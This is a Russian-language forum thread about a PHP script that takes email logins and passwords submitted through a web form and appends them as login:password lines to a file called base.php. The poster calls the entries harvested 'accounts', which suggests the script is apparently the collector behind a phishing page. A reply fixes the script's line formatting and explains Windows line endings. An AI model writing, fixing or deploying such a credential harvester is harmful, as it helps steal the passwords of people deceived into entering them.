В общем есть php скрипт вида: PHP: <?PHP if(isset($_POST['submit'])) { //Проверка правильности ввода EMAIL if(trim($_POST['login']) == '') { $hasError = true; } else if (!eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$", trim($_POST['login']))) { $hasError = true; } else { $Login = trim($_POST['login']); } //Проверка поля ПАРОЛЬ if(trim($_POST['passwd']) == '') { $hasError = true; } else { $Pass = trim($_POST['passwd']); } //Если ошибок нет, записываем в базу if(!isset($hasError)) { $log = fopen("base.php","a+"); //открываем файл базы fwrite($log,"\n $Login:$Pass \n"); //записываем всё fclose($log); //закрываем Этот скрипт работает, но с одной небольшой ошибкой. Запись в файл base.php происходит в виде: Code: sdtg@mail.ru:pass1 tyuj@mail.ru:pass2 drth@mail.ru:pass3 и следовательно когда много записей в базу вносится, потом неудобно всё вручную редактировать в упорядоченный вид. а если акки из базы скопировать в .txt на комп, то они вообще вот так выглядят: Code: sdtg@mail.ru:pass1 tyuj@mail.ru:pass2 drth@mail.ru:pass3 как это исправить подскажите?
строчку PHP: fwrite($log,"\n $Login:$Pass \n"); поменяй на PHP: fwrite($log,"$Login:$Pass \n"); должно быть нормально Насчет того что на компе у тебя это выглядит по другому то наверняка у тебя виндовс и пользуешся ты стандартным блокнотом. Дело в том что у разных ОС, перенос строк осуществляется по разному. В твоем случае notepad++ должен помочь если не ошибаюсь. Вот тебе еще обсуждение по теме - http://xpoint.ru/forums/internet/standards/thread/29138.xhtml